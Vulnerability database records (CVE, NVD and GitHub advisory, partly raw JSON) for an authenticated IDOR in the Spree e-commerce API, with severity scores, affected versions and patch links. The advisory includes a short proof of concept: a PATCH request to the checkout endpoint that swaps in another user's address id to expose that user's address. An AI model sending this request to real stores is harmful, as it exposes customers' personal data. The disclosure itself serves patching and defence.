CVE-2026-22588 (GCVE-0-2026-22588)
Vulnerability from cvelistv5 – Published: 2026-01-08 20:53 – Updated: 2026-01-08 21:08
VLAI
EPSS
VEX
Title
Spree API has Authenticated Insecure Direct Object Reference (IDOR) via Order Modification
Summary
Spree is an open source e-commerce solution built with Ruby on Rails. Prior to versions 4.10.2, 5.0.7, 5.1.9, and 5.2.5, an Authenticated Insecure Direct Object Reference (IDOR) vulnerability was identified that allows an authenticated user to retrieve other users’ address information by modifying an existing order. By editing an order they legitimately own and manipulating address identifiers in the request, the backend server accepts and processes references to addresses belonging to other users, subsequently associating those addresses with the attacker’s order and returning them in the response. This issue has been patched in versions 4.10.2, 5.0.7, 5.1.9, and 5.2.5.
Severity
6.5 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-08 21:08 UTC
CWE
- CWE-639 - Authorization Bypass Through User-Controlled Key
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/spree/spree/security/advisorie… | x_refsource_CONFIRM |
| https://github.com/spree/spree/commit/02acabdce2c… | x_refsource_MISC |
| https://github.com/spree/spree/commit/17e78a91b73… | x_refsource_MISC |
| https://github.com/spree/spree/commit/b409c0fd327… | x_refsource_MISC |
| https://github.com/spree/spree/commit/d3f961c442e… | x_refsource_MISC |
Impacted products
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FKIE_CVE-2026-22588
Vulnerability from fkie_nvd - Published: 2026-01-08 21:15 - Updated: 2026-06-17 10:20
Severity
Summary
Spree is an open source e-commerce solution built with Ruby on Rails. Prior to versions 4.10.2, 5.0.7, 5.1.9, and 5.2.5, an Authenticated Insecure Direct Object Reference (IDOR) vulnerability was identified that allows an authenticated user to retrieve other users’ address information by modifying an existing order. By editing an order they legitimately own and manipulating address identifiers in the request, the backend server accepts and processes references to addresses belonging to other users, subsequently associating those addresses with the attacker’s order and returning them in the response. This issue has been patched in versions 4.10.2, 5.0.7, 5.1.9, and 5.2.5.
References
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| spreecommerce | spree | * | |
| spreecommerce | spree | * | |
| spreecommerce | spree | * | |
| spreecommerce | spree | * |
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"value": "Spree es una soluci\u00f3n de comercio electr\u00f3nico de c\u00f3digo abierto construida con Ruby on Rails. Antes de las versiones 4.10.2, 5.0.7, 5.1.9 y 5.2.5, se identific\u00f3 una vulnerabilidad de Referencia Directa Insegura a Objeto Autenticada (IDOR) que permite a un usuario autenticado recuperar la informaci\u00f3n de direcci\u00f3n de otros usuarios modificando un pedido existente. Al editar un pedido que poseen leg\u00edtimamente y manipular los identificadores de direcci\u00f3n en la solicitud, el servidor de backend acepta y procesa referencias a direcciones que pertenecen a otros usuarios, asociando posteriormente esas direcciones con el pedido del atacante y devolvi\u00e9ndolas en la respuesta. Este problema ha sido parcheado en las versiones 4.10.2, 5.0.7, 5.1.9 y 5.2.5."
}
],
"id": "CVE-2026-22588",
"lastModified": "2026-06-17T10:20:07.327",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-22588",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-01-08T21:08:29.340173Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-01-08T21:15:44.560",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/spree/spree/commit/02acabdce2c5f14fd687335b068d901a957a7e72"
},
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/spree/spree/commit/17e78a91b736b49dbea8d1bb1223c284383ee5f3"
},
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/spree/spree/commit/b409c0fd327e7ce37f63238894670d07079eefe8"
},
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/spree/spree/commit/d3f961c442e0015661535cbd6eb22475f76d2dc7"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/spree/spree/security/advisories/GHSA-g268-72p7-9j6j"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-639"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-G268-72P7-9J6J
Vulnerability from github – Published: 2026-01-08 21:27 – Updated: 2026-01-11 14:57
VLAI
Summary
Spree API has Authenticated Insecure Direct Object Reference (IDOR) via Order Modification
Details
Summary
An Authenticated Insecure Direct Object Reference (IDOR) vulnerability was identified that allows an authenticated user to retrieve other users’ address information by modifying an existing order. By editing an order they legitimately own and manipulating address identifiers in the request, the backend server accepts and processes references to addresses belonging to other users, subsequently associating those addresses with the attacker’s order and returning them in the response.
Details
Affected Component(s)
- Authenticated user order management
- Address association logic
- Order update endpoint(s)
Affected Endpoint(s):
- /api/v2/storefront/checkout
The application fails to enforce proper object-level authorization when updating an existing order. While the user is authenticated and authorized to modify their own order, the backend does not verify that the supplied address identifiers belong to the same authenticated user.
PoC
Preconditions - Valid authenticated user account
Step 1: Log-in using a valid user, in this case customer2@example.com Step 2: Visualize current user’s addresses
Request
GET /account/addresses
The following screenshot shows customer2@example.com address.
Step 3: Initialize the Shopping Cart
Request
POST /api/v2/storefront/cart HTTP/1.1
From the response, extract the token marked in bold.
Step 4: Legitimate Order Edit Request
Using the obtained order token A1cram_6cFWpoj4V1yPkuQ1767113871701 perform an edit order request in order to add a custom billing address
Request
PATCH /api/v2/storefront/checkout
{
"include": "billing_address",
"order": {
"email": "idor_test@example.com",
"bill_address_attributes": {
"firstname":"CTF","lastname":"Tester","address1":"123 Main St",
"city":"Andorra la Vella","zipcode":"AD100","country_iso":"AD"
},
"ship_address_attributes": {
"firstname":"CTF","lastname":"Tester","address1":"123 Main St",
"city":"Andorra la Vella","zipcode":"AD100","country_iso":"AD"
}
}
}
Step 5: Modify the order request to include the other user's address and trigger the IDOR.
In this request, the attacker modifies the request by substituting the address identifier with one belonging to another user, thereby rendering the original address identifier accessible to the attacker.
Request
PATCH /api/v2/storefront/checkout
{"include":"billing_address","order":**{"bill_address_attributes":{"id":1}}**}
As can be seen other user's address is displayed.
Impact
As a result, an attacker can:
- Replace the address identifier with one belonging to another user
- Cause the backend to associate and return another user’s address within the attacker’s order
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "spree_api"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0"
},
{
"fixed": "4.10.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "spree_api"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "spree_api"
},
"ranges": [
{
"events": [
{
"introduced": "5.1.0"
},
{
"fixed": "5.1.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "spree_api"
},
"ranges": [
{
"events": [
{
"introduced": "5.2.0"
},
{
"fixed": "5.2.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22588"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-08T21:27:03Z",
"nvd_published_at": "2026-01-08T21:15:44Z",
"severity": "MODERATE"
},
"details": "### Summary\nAn Authenticated Insecure Direct Object Reference (IDOR) vulnerability was identified that allows an authenticated user to retrieve other users\u2019 address information by modifying an existing order.\nBy editing an order they legitimately own and manipulating address identifiers in the request, the backend server accepts and processes references to addresses belonging to other users, subsequently associating those addresses with the attacker\u2019s order and returning them in the response.\n\n### Details\nAffected Component(s)\n- Authenticated user order management\n- Address association logic\n- Order update endpoint(s)\nAffected Endpoint(s):\n- `/api/v2/storefront/checkout`\n\nThe application fails to enforce proper object-level authorization when updating an existing order. While the user is authenticated and authorized to modify their own order, the backend does not verify that the supplied address identifiers belong to the same authenticated user.\n\n### PoC\nPreconditions\n- Valid authenticated user account\n\nStep 1: Log-in using a valid user, in this case customer2@example.com\nStep 2: Visualize current user\u2019s addresses \n\n**Request**\nGET `/account/addresses`\n\nThe following screenshot shows customer2@example.com address. \n\n\u003cimg width=\"336\" height=\"375\" alt=\"User Address\" src=\"https://github.com/user-attachments/assets/ceb1f214-7ac0-40b0-af22-6fe9d21254bb\" /\u003e\n\nStep 3: Initialize the Shopping Cart\n\n**Request**\nPOST `/api/v2/storefront/cart HTTP/1.1`\n\nFrom the response, extract the token marked in bold.\n\nStep 4: Legitimate Order Edit Request\n\nUsing the obtained order token **A1cram_6cFWpoj4V1yPkuQ1767113871701** perform an edit order request in order to add a custom billing address\n\n**Request**\nPATCH `/api/v2/storefront/checkout`\n\n```json\n{\n \"include\": \"billing_address\",\n \"order\": {\n \"email\": \"idor_test@example.com\",\n \"bill_address_attributes\": {\n \"firstname\":\"CTF\",\"lastname\":\"Tester\",\"address1\":\"123 Main St\",\n \"city\":\"Andorra la Vella\",\"zipcode\":\"AD100\",\"country_iso\":\"AD\"\n },\n \"ship_address_attributes\": {\n \"firstname\":\"CTF\",\"lastname\":\"Tester\",\"address1\":\"123 Main St\",\n \"city\":\"Andorra la Vella\",\"zipcode\":\"AD100\",\"country_iso\":\"AD\"\n }\n }\n }\n```\n\nStep 5: Modify the order request to include the other user\u0027s address and trigger the IDOR.\n\nIn this request, the attacker modifies the request by substituting the address identifier with one belonging to another user, thereby rendering the original address identifier accessible to the attacker.\n\n**Request**\nPATCH `/api/v2/storefront/checkout`\n\n```json\n{\"include\":\"billing_address\",\"order\":**{\"bill_address_attributes\":{\"id\":1}}**}\n```\n\nAs can be seen other user\u0027s address is displayed.\n\n### Impact\nAs a result, an attacker can:\n\n- Replace the address identifier with one belonging to another user\n- Cause the backend to associate and return another user\u2019s address within the attacker\u2019s order",
"id": "GHSA-g268-72p7-9j6j",
"modified": "2026-01-11T14:57:07Z",
"published": "2026-01-08T21:27:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/spree/spree/security/advisories/GHSA-g268-72p7-9j6j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22588"
},
{
"type": "WEB",
"url": "https://github.com/spree/spree/commit/02acabdce2c5f14fd687335b068d901a957a7e72"
},
{
"type": "WEB",
"url": "https://github.com/spree/spree/commit/17e78a91b736b49dbea8d1bb1223c284383ee5f3"
},
{
"type": "WEB",
"url": "https://github.com/spree/spree/commit/b409c0fd327e7ce37f63238894670d07079eefe8"
},
{
"type": "WEB",
"url": "https://github.com/spree/spree/commit/d3f961c442e0015661535cbd6eb22475f76d2dc7"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/spree_api/CVE-2026-22588.yml"
},
{
"type": "PACKAGE",
"url": "https://github.com/spree/spree"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Spree API has Authenticated Insecure Direct Object Reference (IDOR) via Order Modification"
}
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